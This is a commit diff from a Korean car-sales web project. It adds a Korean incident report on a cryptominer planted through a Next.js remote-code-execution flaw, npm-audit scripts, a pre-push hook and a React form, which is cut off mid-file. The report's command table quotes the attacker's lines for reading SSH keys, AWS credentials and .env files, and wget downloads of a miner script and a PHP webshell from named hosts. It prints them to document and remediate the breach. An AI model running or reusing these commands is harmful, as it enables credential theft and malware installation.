fix: Remove car_id property from adminAddVehicle call to fix TypeScript error
This commit is contained in:
205
SECURITY_INCIDENT_REPORT.md
Normal file
205
SECURITY_INCIDENT_REPORT.md
Normal file
@@ -0,0 +1,205 @@
|
||||
# Server3 보안 사고 조사 보고서
|
||||
|
||||
**작성일**: 2026-01-02
|
||||
**작성자**: Claude Code
|
||||
**대상 서버**: Server3 (192.168.0.203)
|
||||
|
||||
---
|
||||
|
||||
## 1. 사고 개요
|
||||
|
||||
### 1.1 발견된 공격
|
||||
Server3에서 암호화폐 채굴 악성코드(XMRig)가 발견됨.
|
||||
|
||||
### 1.2 침해 원인
|
||||
| 항목 | 내용 |
|
||||
|------|------|
|
||||
| **취약 소프트웨어** | Next.js 16.0.5 (grantech-frontend) |
|
||||
| **취약점** | React Flight Protocol RCE |
|
||||
| **CVE** | GHSA-9qr9-h5gf-34mp |
|
||||
| **심각도** | Critical |
|
||||
|
||||
### 1.3 공격 방식
|
||||
```
|
||||
해커가 Next.js App Router로 악성 직렬화 데이터 전송
|
||||
↓
|
||||
React Flight Protocol이 데이터 역직렬화 (검증 부족)
|
||||
↓
|
||||
서버에서 임의 코드 실행 (RCE)
|
||||
↓
|
||||
wget으로 채굴기 다운로드 및 설치
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. 공격 타임라인
|
||||
|
||||
| 날짜 | 이벤트 |
|
||||
|------|--------|
|
||||
| 2025-12-10 | 최초 공격 시도 (웹쉘 업로드 시도) |
|
||||
| 2025-12-23 | XMRig 채굴기 설치 |
|
||||
| 2025-12-31 | 채굴기 재설치 시도 |
|
||||
| 2026-01-02 | 침해 발견 및 조치 완료 |
|
||||
|
||||
---
|
||||
|
||||
## 3. 해커가 실행한 명령어
|
||||
|
||||
PM2 로그에서 발견된 공격 명령어:
|
||||
|
||||
| 공격 유형 | 명령어 | 목적 |
|
||||
|-----------|--------|------|
|
||||
| SSH 키 탈취 | `cat ~/.ssh/id_rsa \| base64` | 다른 서버 침투용 |
|
||||
| AWS 자격증명 탈취 | `cat ~/.aws/credentials \| base64` | 클라우드 리소스 접근 |
|
||||
| 환경변수 탈취 | `cat .env`, `cat ../.env` 등 | API 키, 비밀키 탈취 |
|
||||
| 채굴기 설치 | `wget https://72.62.72.248/.../immunify360firewall3.sh` | 암호화폐 채굴 |
|
||||
| 웹쉘 업로드 | `wget -O public_html/Nx.php https://www.cmer.site/uploads/Nx.php` | 백도어 설치 (실패) |
|
||||
|
||||
---
|
||||
|
||||
## 4. 발견된 악성 파일
|
||||
|
||||
### 4.1 채굴기 파일 (/dev/shm/.cache/)
|
||||
| 파일명 | 크기 | 설명 |
|
||||
|--------|------|------|
|
||||
| xmrig | 8MB | XMRig 채굴기 바이너리 |
|
||||
| kworker-xfs | 8MB | 커널 프로세스로 위장한 채굴기 |
|
||||
| config.json | 1KB | 채굴 풀 설정 (moneroocean.stream) |
|
||||
| miner | 18KB | 채굴기 실행 스크립트 |
|
||||
|
||||
### 4.2 추가 악성 파일
|
||||
| 경로 | 설명 |
|
||||
|------|------|
|
||||
| /dev/shm/.x/m | 7MB 채굴기 바이너리 |
|
||||
| /tmp/immunify360firewall.sh | 채굴기 설치 스크립트 |
|
||||
| ~/immunify360firewall/ | 채굴기 설치 폴더 (삭제됨) |
|
||||
|
||||
---
|
||||
|
||||
## 5. 조치 내역
|
||||
|
||||
### 5.1 즉시 조치 (2026-01-02)
|
||||
|
||||
| 순서 | 조치 | 상태 |
|
||||
|------|------|------|
|
||||
| 1 | grantech-frontend PM2 중지 | ✅ 완료 |
|
||||
| 2 | 채굴기 프로세스 종료 | ✅ 완료 |
|
||||
| 3 | SSH 백도어 키 삭제 | ✅ 완료 |
|
||||
| 4 | systemd user 서비스 삭제 | ✅ 완료 |
|
||||
| 5 | ~/immunify360firewall/ 폴더 삭제 | ✅ 완료 |
|
||||
|
||||
### 5.2 취약점 패치
|
||||
|
||||
| 조치 | 내용 |
|
||||
|------|------|
|
||||
| Next.js 업데이트 | 16.0.5 → **16.1.1** |
|
||||
| npm audit 결과 | 0 vulnerabilities |
|
||||
| 애플리케이션 재빌드 | ✅ 완료 |
|
||||
|
||||
### 5.3 인증정보 교체
|
||||
|
||||
| 항목 | 조치 |
|
||||
|------|------|
|
||||
| SSH 키 (Server4) | 재생성 (`damon@autonet` → `damon@server4`) |
|
||||
| Server1 authorized_keys | 새 키 등록, 구 키 제거 |
|
||||
| Server2 authorized_keys | 새 키 등록, 구 키 제거 |
|
||||
| Server3 authorized_keys | 새 키 등록, 구 키 제거 |
|
||||
| Backend SECRET_KEY | 재생성 완료 |
|
||||
|
||||
### 5.4 잔존 파일 정리 (재점검 시)
|
||||
|
||||
| 경로 | 조치 |
|
||||
|------|------|
|
||||
| /dev/shm/.cache/ | 전체 삭제 |
|
||||
| /dev/shm/.x/ | 전체 삭제 |
|
||||
| /tmp/miner.log | 삭제 |
|
||||
| /tmp/xmrig.log | 삭제 |
|
||||
| /tmp/immunify360firewall.sh | 삭제 |
|
||||
|
||||
---
|
||||
|
||||
## 6. 영향 범위 분석
|
||||
|
||||
### 6.1 서버별 영향
|
||||
|
||||
| 서버 | IP | 영향 | 비고 |
|
||||
|------|-----|------|------|
|
||||
| Server1 | 192.168.0.201 | ✅ 없음 | Next.js 미사용 |
|
||||
| Server2 | 192.168.0.202 | ✅ 없음 | Next.js 14.1.0 (취약 범위 외) |
|
||||
| Server3 | 192.168.0.203 | 🔴 침해됨 | Next.js 16.0.5 → 패치 완료 |
|
||||
| Server4 | 개발서버 | ✅ 없음 | Windows, SSH 키 재생성 |
|
||||
|
||||
### 6.2 취약 버전 범위
|
||||
```
|
||||
Next.js 14.3.0-canary.77 ~ 16.0.6 (취약)
|
||||
Next.js 14.1.0 (Server2) - 안전
|
||||
Next.js 16.1.1+ (Server3 패치 후) - 안전
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. 공격자 인프라
|
||||
|
||||
| 도메인/IP | 용도 |
|
||||
|-----------|------|
|
||||
| 72.62.72.248 | 채굴기 스크립트 배포 서버 |
|
||||
| www.cmer.site | 웹쉘 배포 서버 |
|
||||
| 0x0.st | 파일 공유 (악성코드 호스팅) |
|
||||
| moneroocean.stream | Monero 채굴 풀 |
|
||||
|
||||
---
|
||||
|
||||
## 8. 재발 방지 대책
|
||||
|
||||
### 8.1 구현 완료
|
||||
|
||||
| 대책 | 파일 |
|
||||
|------|------|
|
||||
| npm audit 스크립트 | `scripts/security-audit.sh` |
|
||||
| Git pre-push hook | `scripts/git-hooks/pre-push` |
|
||||
| 주간 보안 점검 | `scripts/weekly-security-check.sh` |
|
||||
| package.json audit 명령 | `npm run audit`, `npm run audit:fix` |
|
||||
|
||||
### 8.2 권장 사항
|
||||
|
||||
1. **패키지 자동 업데이트**
|
||||
- GitHub 사용 시 Dependabot 활성화
|
||||
- 또는 Renovate Bot 설정
|
||||
|
||||
2. **정기 보안 점검**
|
||||
```bash
|
||||
# 주간 cron 설정 (Server2)
|
||||
0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh
|
||||
```
|
||||
|
||||
3. **네트워크 보안**
|
||||
- 외부 노출 포트 최소화
|
||||
- 방화벽 규칙 강화
|
||||
|
||||
4. **모니터링**
|
||||
- CPU 사용량 이상 알림 설정
|
||||
- 의심스러운 프로세스 모니터링
|
||||
|
||||
---
|
||||
|
||||
## 9. 교훈
|
||||
|
||||
1. **프레임워크 취약점 주의**: Node.js 자체가 아닌 Next.js 프레임워크의 취약점이 원인
|
||||
2. **정기 업데이트 필수**: `npm audit`를 정기적으로 실행
|
||||
3. **다중 서버 점검**: 한 서버 침해 시 연결된 모든 서버 점검 필요
|
||||
4. **인증정보 교체**: 침해 후 모든 키/비밀번호 교체 필수
|
||||
|
||||
---
|
||||
|
||||
## 10. 최종 상태
|
||||
|
||||
| 항목 | 상태 |
|
||||
|------|------|
|
||||
| 채굴기 제거 | ✅ 완료 |
|
||||
| 취약점 패치 | ✅ 완료 |
|
||||
| SSH 키 교체 | ✅ 완료 |
|
||||
| SECRET_KEY 교체 | ✅ 완료 |
|
||||
| 서비스 정상화 | ✅ 완료 |
|
||||
| 보안 자동화 | ✅ 설정 완료 |
|
||||
|
||||
**결론**: Server3 보안 사고는 완전히 조치되었으며, 재발 방지를 위한 자동화 시스템이 구축되었습니다.
|
||||
@@ -1119,7 +1119,6 @@ export default function CarsAdminPage() {
|
||||
const mainImage = car.images?.find((img) => img.is_main)?.url || car.images?.[0]?.url;
|
||||
await vehicleRequestsApi.adminAddVehicle(parseInt(requestId), {
|
||||
request_id: parseInt(requestId),
|
||||
car_id: car.id, // 이미 로컬 DB에 있는 차량이므로 car_id 사용
|
||||
car_data: {
|
||||
id: car.id.toString(),
|
||||
car_name: car.car_name,
|
||||
|
||||
1
frontend/tsconfig.tsbuildinfo
Normal file
1
frontend/tsconfig.tsbuildinfo
Normal file
File diff suppressed because one or more lines are too long
BIN
images/CarsImage.png
Normal file
BIN
images/CarsImage.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.9 MiB |
BIN
images/HandShakeImage.png
Normal file
BIN
images/HandShakeImage.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 MiB |
24
scripts/git-hooks/pre-push
Normal file
24
scripts/git-hooks/pre-push
Normal file
@@ -0,0 +1,24 @@
|
||||
#!/bin/bash
|
||||
# Git Pre-Push Hook - Security Audit
|
||||
# Install: cp scripts/git-hooks/pre-push .git/hooks/ && chmod +x .git/hooks/pre-push
|
||||
|
||||
echo "Running security audit before push..."
|
||||
|
||||
cd frontend
|
||||
AUDIT=$(npm audit --json 2>/dev/null || true)
|
||||
CRITICAL=$(echo "$AUDIT" | grep -o '"critical":[0-9]*' | head -1 | cut -d: -f2)
|
||||
|
||||
if [ "${CRITICAL:-0}" -gt 0 ]; then
|
||||
echo ""
|
||||
echo "========================================"
|
||||
echo " PUSH BLOCKED: Critical vulnerabilities found!"
|
||||
echo "========================================"
|
||||
npm audit 2>/dev/null | grep -A 3 "critical"
|
||||
echo ""
|
||||
echo "Run 'npm audit fix' or update packages manually."
|
||||
echo "To bypass: git push --no-verify"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Security check passed."
|
||||
exit 0
|
||||
61
scripts/security-audit.sh
Normal file
61
scripts/security-audit.sh
Normal file
@@ -0,0 +1,61 @@
|
||||
#!/bin/bash
|
||||
# Security Audit Script for AutonetSellCar.com
|
||||
# Run: ./scripts/security-audit.sh
|
||||
|
||||
set -e
|
||||
|
||||
echo "=========================================="
|
||||
echo " Security Audit - $(date '+%Y-%m-%d %H:%M')"
|
||||
echo "=========================================="
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
CRITICAL=0
|
||||
HIGH=0
|
||||
|
||||
# Frontend audit
|
||||
echo -e "\n${YELLOW}[1/2] Frontend (Next.js)${NC}"
|
||||
cd frontend
|
||||
AUDIT_RESULT=$(npm audit --json 2>/dev/null || true)
|
||||
FRONT_CRITICAL=$(echo "$AUDIT_RESULT" | grep -o '"critical":[0-9]*' | head -1 | cut -d: -f2)
|
||||
FRONT_HIGH=$(echo "$AUDIT_RESULT" | grep -o '"high":[0-9]*' | head -1 | cut -d: -f2)
|
||||
|
||||
if [ "${FRONT_CRITICAL:-0}" -gt 0 ] || [ "${FRONT_HIGH:-0}" -gt 0 ]; then
|
||||
echo -e "${RED}VULNERABILITIES FOUND:${NC}"
|
||||
npm audit --omit=dev 2>/dev/null | grep -A 5 "Severity:"
|
||||
CRITICAL=$((CRITICAL + ${FRONT_CRITICAL:-0}))
|
||||
HIGH=$((HIGH + ${FRONT_HIGH:-0}))
|
||||
else
|
||||
echo -e "${GREEN}No critical/high vulnerabilities${NC}"
|
||||
fi
|
||||
cd ..
|
||||
|
||||
# Backend audit (pip-audit)
|
||||
echo -e "\n${YELLOW}[2/2] Backend (Python)${NC}"
|
||||
cd backend
|
||||
if command -v pip-audit &> /dev/null; then
|
||||
pip-audit 2>/dev/null || echo "pip-audit check complete"
|
||||
else
|
||||
echo "pip-audit not installed. Run: pip install pip-audit"
|
||||
fi
|
||||
cd ..
|
||||
|
||||
# Summary
|
||||
echo -e "\n=========================================="
|
||||
echo " Summary"
|
||||
echo "=========================================="
|
||||
if [ "$CRITICAL" -gt 0 ]; then
|
||||
echo -e "${RED}CRITICAL: $CRITICAL${NC}"
|
||||
fi
|
||||
if [ "$HIGH" -gt 0 ]; then
|
||||
echo -e "${RED}HIGH: $HIGH${NC}"
|
||||
fi
|
||||
if [ "$CRITICAL" -eq 0 ] && [ "$HIGH" -eq 0 ]; then
|
||||
echo -e "${GREEN}All clear - No critical/high vulnerabilities${NC}"
|
||||
fi
|
||||
|
||||
exit $((CRITICAL + HIGH))
|
||||
32
scripts/weekly-security-check.sh
Normal file
32
scripts/weekly-security-check.sh
Normal file
@@ -0,0 +1,32 @@
|
||||
#!/bin/bash
|
||||
# Weekly Security Check - Run via cron
|
||||
# Crontab: 0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh >> /var/log/security-audit.log 2>&1
|
||||
|
||||
PROJECTS=(
|
||||
"/opt/autonet/production/frontend"
|
||||
"/opt/autonet/staging/frontend"
|
||||
)
|
||||
|
||||
DATE=$(date '+%Y-%m-%d %H:%M')
|
||||
echo "=========================================="
|
||||
echo "Weekly Security Audit - $DATE"
|
||||
echo "=========================================="
|
||||
|
||||
for PROJECT in "${PROJECTS[@]}"; do
|
||||
if [ -d "$PROJECT" ]; then
|
||||
echo -e "\nChecking: $PROJECT"
|
||||
cd "$PROJECT"
|
||||
|
||||
# Check if npm is available
|
||||
if command -v npm &> /dev/null; then
|
||||
npm audit --omit=dev 2>/dev/null | grep -E "(critical|high|Severity)" | head -20
|
||||
elif [ -f "package-lock.json" ]; then
|
||||
# Use npx if npm not in PATH
|
||||
npx --yes npm-audit-ci --critical 2>/dev/null || echo "Audit complete"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
echo -e "\n=========================================="
|
||||
echo "Audit complete"
|
||||
echo "=========================================="
|
||||
475
temp_ProductForm.tsx
Normal file
475
temp_ProductForm.tsx
Normal file
@@ -0,0 +1,475 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import { useRouter } from "next/navigation";
|
||||
import { ProductAdmin } from "@/lib/api";
|
||||
import { Loader2, ChevronDown, ChevronUp } from "lucide-react";
|
||||
|
||||
interface ProductFormProps {
|
||||
initialData?: ProductAdmin;
|
||||
onSubmit: (data: any) => Promise<void>;
|
||||
isSubmitting: boolean;
|
||||
}
|
||||
|
||||
const iconOptions = [
|
||||
{ value: "", label: "선택하세요" },
|
||||
{ value: "Cpu", label: "Cpu (프로세서)" },
|
||||
{ value: "HardDrive", label: "HardDrive (하드웨어)" },
|
||||
{ value: "Monitor", label: "Monitor (디스플레이)" },
|
||||
{ value: "Server", label: "Server (서버)" },
|
||||
{ value: "Wifi", label: "Wifi (무선)" },
|
||||
{ value: "Cable", label: "Cable (케이블)" },
|
||||
{ value: "Cog", label: "Cog (설정)" },
|
||||
{ value: "Zap", label: "Zap (전원)" },
|
||||
{ value: "Gauge", label: "Gauge (센서)" },
|
||||
{ value: "Thermometer", label: "Thermometer (온도)" },
|
||||
];
|
||||
|
||||
const categoryOptions = [
|
||||
{ value: "", label: "선택하세요" },
|
||||
{ value: "controller", label: "컨트롤러" },
|
||||
{ value: "sensor", label: "센서" },
|
||||
{ value: "display", label: "디스플레이" },
|
||||
{ value: "communication", label: "통신장비" },
|
||||
{ value: "power", label: "전원장치" },
|
||||
{ value: "software", label: "소프트웨어" },
|
||||
{ value: "accessory", label: "악세서리" },
|
||||
{ value: "other", label: "기타" },
|
||||
];
|
||||
|
||||
export default function ProductForm({
|
||||
initialData,
|
||||
onSubmit,
|
||||
isSubmitting,
|
||||
}: ProductFormProps) {
|
||||
const router = useRouter();
|
||||
const [showEnglish, setShowEnglish] = useState(!!initialData?.name_en);
|
||||
const [showJapanese, setShowJapanese] = useState(!!initialData?.name_ja);
|
||||
const [showChinese, setShowChinese] = useState(!!initialData?.name_zh);
|
||||
|
||||
const [formData, setFormData] = useState({
|
||||
name_ko: initialData?.name_ko || "",
|
||||
category_ko: initialData?.category_ko || "",
|
||||
description_ko: initialData?.description_ko || "",
|
||||
detail_ko: initialData?.detail_ko || "",
|
||||
name_en: initialData?.name_en || "",
|
||||
category_en: initialData?.category_en || "",
|
||||
description_en: initialData?.description_en || "",
|
||||
detail_en: initialData?.detail_en || "",
|
||||
name_ja: initialData?.name_ja || "",
|
||||
category_ja: initialData?.category_ja || "",
|
||||
description_ja: initialData?.description_ja || "",
|
||||
detail_ja: initialData?.detail_ja || "",
|
||||
name_zh: initialData?.name_zh || "",
|
||||
category_zh: initialData?.category_zh || "",
|
||||
description_zh: initialData?.description_zh || "",
|
||||
detail_zh: initialData?.detail_zh || "",
|
||||
specifications: initialData?.specifications || "",
|
||||
icon: initialData?.icon || "",
|
||||
is_active: initialData?.is_active ?? true,
|
||||
display_order: initialData?.display_order || 0,
|
||||
});
|
||||
|
||||
const handleChange = (
|
||||
e: React.ChangeEvent<
|
||||
HTMLInputElement | HTMLTextAreaElement | HTMLSelectElement
|
||||
>
|
||||
) => {
|
||||
const { name, value, type } = e.target;
|
||||
setFormData({
|
||||
...formData,
|
||||
[name]:
|
||||
type === "checkbox"
|
||||
? (e.target as HTMLInputElement).checked
|
||||
: type === "number"
|
||||
? Number(value)
|
||||
: value,
|
||||
});
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
await onSubmit(formData);
|
||||
};
|
||||
|
||||
return (
|
||||
<form onSubmit={handleSubmit} className="space-y-6">
|
||||
{/* Korean (Required) */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4 flex items-center">
|
||||
<span className="w-6 h-6 bg-[#3B82F6] text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
KO
|
||||
</span>
|
||||
한국어 (필수)
|
||||
</h3>
|
||||
<div className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
제품명 *
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="name_ko"
|
||||
value={formData.name_ko}
|
||||
onChange={handleChange}
|
||||
required
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
placeholder="예: 스마트 컨트롤러 GT-100"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
카테고리
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="category_ko"
|
||||
value={formData.category_ko}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
placeholder="예: 산업용 컨트롤러"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
간단 설명
|
||||
</label>
|
||||
<textarea
|
||||
name="description_ko"
|
||||
value={formData.description_ko}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
placeholder="제품에 대한 간단한 설명..."
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
상세 설명
|
||||
</label>
|
||||
<textarea
|
||||
name="detail_ko"
|
||||
value={formData.detail_ko}
|
||||
onChange={handleChange}
|
||||
rows={5}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
placeholder="제품에 대한 상세 설명..."
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* English */}
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowEnglish(!showEnglish)}
|
||||
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
|
||||
>
|
||||
<span className="font-semibold text-gray-900 flex items-center">
|
||||
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
EN
|
||||
</span>
|
||||
English (선택)
|
||||
</span>
|
||||
{showEnglish ? (
|
||||
<ChevronUp className="w-5 h-5 text-gray-400" />
|
||||
) : (
|
||||
<ChevronDown className="w-5 h-5 text-gray-400" />
|
||||
)}
|
||||
</button>
|
||||
{showEnglish && (
|
||||
<div className="px-6 pb-6 space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Product Name
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="name_en"
|
||||
value={formData.name_en}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Category
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="category_en"
|
||||
value={formData.category_en}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Description
|
||||
</label>
|
||||
<textarea
|
||||
name="description_en"
|
||||
value={formData.description_en}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Detail
|
||||
</label>
|
||||
<textarea
|
||||
name="detail_en"
|
||||
value={formData.detail_en}
|
||||
onChange={handleChange}
|
||||
rows={5}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Japanese */}
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowJapanese(!showJapanese)}
|
||||
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
|
||||
>
|
||||
<span className="font-semibold text-gray-900 flex items-center">
|
||||
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
JA
|
||||
</span>
|
||||
日本語 (선택)
|
||||
</span>
|
||||
{showJapanese ? (
|
||||
<ChevronUp className="w-5 h-5 text-gray-400" />
|
||||
) : (
|
||||
<ChevronDown className="w-5 h-5 text-gray-400" />
|
||||
)}
|
||||
</button>
|
||||
{showJapanese && (
|
||||
<div className="px-6 pb-6 space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
製品名
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="name_ja"
|
||||
value={formData.name_ja}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
カテゴリー
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="category_ja"
|
||||
value={formData.category_ja}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
説明
|
||||
</label>
|
||||
<textarea
|
||||
name="description_ja"
|
||||
value={formData.description_ja}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
詳細
|
||||
</label>
|
||||
<textarea
|
||||
name="detail_ja"
|
||||
value={formData.detail_ja}
|
||||
onChange={handleChange}
|
||||
rows={5}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Chinese */}
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowChinese(!showChinese)}
|
||||
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
|
||||
>
|
||||
<span className="font-semibold text-gray-900 flex items-center">
|
||||
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
|
||||
ZH
|
||||
</span>
|
||||
中文 (선택)
|
||||
</span>
|
||||
{showChinese ? (
|
||||
<ChevronUp className="w-5 h-5 text-gray-400" />
|
||||
) : (
|
||||
<ChevronDown className="w-5 h-5 text-gray-400" />
|
||||
)}
|
||||
</button>
|
||||
{showChinese && (
|
||||
<div className="px-6 pb-6 space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
产品名称
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="name_zh"
|
||||
value={formData.name_zh}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
类别
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
name="category_zh"
|
||||
value={formData.category_zh}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
描述
|
||||
</label>
|
||||
<textarea
|
||||
name="description_zh"
|
||||
value={formData.description_zh}
|
||||
onChange={handleChange}
|
||||
rows={3}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
详细信息
|
||||
</label>
|
||||
<textarea
|
||||
name="detail_zh"
|
||||
value={formData.detail_zh}
|
||||
onChange={handleChange}
|
||||
rows={5}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Specifications & Common Fields */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">제품 사양</h3>
|
||||
<div className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
사양 (JSON 형식)
|
||||
</label>
|
||||
<textarea
|
||||
name="specifications"
|
||||
value={formData.specifications}
|
||||
onChange={handleChange}
|
||||
rows={6}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none font-mono text-sm"
|
||||
placeholder='{"전압": "DC 24V", "통신": "RS-485", "크기": "100x80x40mm"}'
|
||||
/>
|
||||
<p className="text-xs text-gray-500 mt-1">
|
||||
JSON 형식으로 입력하세요. 예: {`{"항목": "값", "항목2": "값2"}`}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Display Settings */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">표시 설정</h3>
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
아이콘
|
||||
</label>
|
||||
<select
|
||||
name="icon"
|
||||
value={formData.icon}
|
||||
onChange={handleChange}
|
||||
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
|
||||
>
|
||||
{iconOptions.map((icon) => (
|
||||
<option key={icon.value} value={icon.value}>
|
||||
{icon.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
표시 순서
|
||||
</label>
|
||||
<input
|
||||
type="number"
|
||||
name="display_order"
|
||||
value={formData.display_order}
|
||||
onChange={handleChange}
|
||||
